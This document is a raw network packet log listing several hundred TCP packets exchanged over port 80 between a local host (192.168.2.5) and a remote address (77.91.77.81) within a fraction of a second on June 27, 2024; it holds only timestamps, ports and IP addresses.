Jun 27, 2024 19:26:07.144453049 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.147533894 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.184427023 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.184504986 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.184545040 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.184549093 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.184572935 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.184607983 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.184632063 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.184685946 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.184689999 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.184739113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.184745073 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.184772015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.184797049 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.184806108 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.184822083 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.184859037 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.184863091 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.184895039 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.184916973 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.184927940 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.184941053 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.184962988 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.184986115 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.184999943 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.185023069 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.185075998 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.185086966 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.185141087 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.185147047 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.185173988 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.185199976 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.185223103 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.185228109 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.185261965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.185286045 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.185296059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.185324907 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.185333014 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.185357094 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.185384989 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.185416937 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.185451031 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.185472965 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.185507059 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.185548067 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.185606956 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.185612917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.185651064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.185672998 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.185684919 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.185709953 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.185745955 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.216146946 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.216217995 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.216221094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.216259003 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.216275930 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.216294050 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.216311932 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.216347933 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.216350079 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.216382027 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.216402054 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.216434956 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.216437101 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.216471910 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.216516972 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.216546059 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.216562033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.216608047 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.216617107 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.216661930 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.216666937 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.216705084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.216725111 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.216739893 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.216772079 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.216793060 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.216794014 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.216829062 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.216846943 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.216864109 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.216881037 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.216902018 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.216932058 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.216953993 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.216958046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.216990948 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.217017889 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.217025995 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.217048883 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.217060089 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.217086077 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.217113972 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.217114925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.217149019 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.217166901 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.217184067 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.217201948 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.217217922 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.217242956 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.217252016 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.217272043 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.217309952 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.217350006 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.217359066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.217397928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.217417955 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.217451096 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.217561007 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.217616081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.217622995 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.217649937 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.217668056 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.217686892 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.217710018 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.217749119 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.217752934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.217788935 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.217809916 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.217827082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.217853069 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.217873096 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.217912912 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.217947960 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.217971087 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.217982054 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.218002081 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.218051910 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.218175888 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.218228102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.218235970 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.218262911 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.218285084 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.218313932 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.218374968 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.218408108 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.218425989 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.218441963 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.218461990 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.218478918 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.218499899 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.218513966 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.218530893 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.218550920 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.218571901 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.218588114 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.218609095 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.218619108 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.218646049 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.218667984 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.218833923 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.218887091 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.218887091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.218921900 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.218938112 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.218978882 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.219033957 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.219067097 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.219086885 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.219100952 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.219136000 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.219122887 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.219160080 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.219223022 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.219255924 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.219261885 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.219280958 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.219290018 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.219316006 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.219325066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.219347000 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.219381094 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.219436884 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.219470024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.219495058 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.219505072 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.219522953 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.219544888 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.219568014 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.219600916 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.219829082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.219883919 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.219885111 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.219918966 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.219938993 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.219957113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.219975948 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.220011950 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.220016003 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.220046997 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.220072031 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.220081091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.220096111 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.220135927 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.220149040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.220205069 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.220215082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.220272064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.220276117 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.220309019 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.220325947 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.220345020 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.220366001 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.220400095 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.220463037 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.220520973 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.220525026 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.220557928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.220571995 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.220613956 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.220684052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.220738888 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.234668016 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.234683990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.234699965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.234731913 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.234770060 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.234786987 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.234823942 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.234847069 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.234883070 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.234894991 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.234930038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.234950066 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.234962940 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.234981060 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.235021114 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.274992943 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.275065899 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.275113106 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.275122881 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.275166035 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.275185108 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.275185108 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.275213957 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.275221109 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.275254011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.275274038 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.275305033 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.275305986 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.275343895 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.275361061 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.275398016 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.275446892 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.275502920 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.275513887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.275551081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.275571108 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.275587082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.275600910 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.275638103 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.275640965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.275676012 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.275687933 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.275727987 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.275727987 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.275763035 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.275777102 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.275816917 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.275907040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.275937080 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.275957108 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.275970936 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.275994062 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.276017904 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.276027918 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.276062012 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.276079893 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.276097059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.276118040 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.276129961 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.276146889 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.276182890 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.276187897 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.276221991 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.276240110 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.276257038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.276273012 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.276293993 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.276312113 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.276329041 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.276345015 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.276382923 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.276387930 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.276421070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.276443005 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.276456118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.276472092 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.276513100 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.307810068 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.307872057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.307898998 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.307908058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.307943106 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.307976961 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.307998896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.308032990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.308052063 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.308068991 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.308085918 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.308105946 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.308121920 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.308163881 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.308168888 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.308228970 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.308312893 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.308346033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.308363914 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.308379889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.308394909 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.308414936 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.308432102 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.308449030 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.308466911 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.308501005 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.308514118 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.308541059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.308559895 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.308577061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.308594942 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.308612108 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.308629990 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.308648109 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.308659077 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.308693886 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.308737040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.308769941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.308793068 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.308804989 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.308823109 CEST	49706	80	192.168.2.5	77.91.77.81
